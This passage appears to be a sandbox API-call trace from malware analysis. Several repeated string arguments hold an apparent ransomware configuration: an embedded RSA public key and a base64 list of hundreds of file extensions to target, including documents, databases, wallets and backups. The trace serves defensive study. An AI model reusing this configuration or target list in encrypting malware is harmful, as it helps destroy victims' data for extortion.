YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.403] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p